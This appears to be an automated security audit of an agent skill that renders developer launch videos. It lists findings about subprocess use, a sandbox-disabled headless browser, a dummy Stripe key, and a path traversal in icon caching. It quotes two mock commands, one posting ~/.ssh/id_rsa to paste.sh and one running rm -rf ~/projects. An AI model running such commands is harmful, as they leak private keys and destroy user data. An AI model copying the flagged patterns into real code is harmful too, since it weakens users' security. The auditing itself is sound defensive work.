The Agent Skills Directory

[COMMAND_EXECUTION]: The skill makes extensive use of subprocess.run and subprocess.Popen to execute system binaries including ffmpeg, ffprobe, and chromium. These are core to the video rendering functionality.
[REMOTE_CODE_EXECUTION]: In scripts/framesmith/media.py and scripts/framesmith/console.py, the skill downloads SVG icons from external sources (cdn.jsdelivr.net) and processes them using a headless Chromium browser for rasterization. The browser is invoked with the --no-sandbox flag, which significantly weakens the security boundary if a malicious or malformed SVG is processed.
[CREDENTIALS_UNSAFE]: The file examples/prismor/brief.json contains a dummy Stripe API key (sk_live_51Hx9QeKd0aZ7rT2mNcVb8Lp). Although this is explicitly marked as an example for a video about security intercepts, hardcoded keys—even dummy ones—are flagged by security scanners.
[EXTERNAL_DOWNLOADS]: The skill fetches resources from external domains, specifically cdn.jsdelivr.net for Lucide icons and raw.githubusercontent.com for the SVG registry. These are well-known services and the fetches are documented as functional requirements for asset retrieval.
[DATA_EXFILTRATION]: The examples/prismor/brief.json file contains mock terminal commands that simulate data exfiltration (curl -X POST https://paste.sh -d @~/.ssh/id_rsa) and destructive behavior (rm -rf ~/projects). These are used as 'copy' for the video generator to demonstrate the tool's protective features, but could be misinterpreted as malicious payloads by automated analysis tools.
[PATH_TRAVERSAL]: A potential path traversal vulnerability exists in scripts/framesmith/console.py. The lucide function uses a user-controlled name parameter to construct a file path for caching icons (os.path.join(CACHE, name + ".svg")) without sufficient sanitization. This could allow an attacker to write files to arbitrary locations in the user's home directory.

devtool-launch-video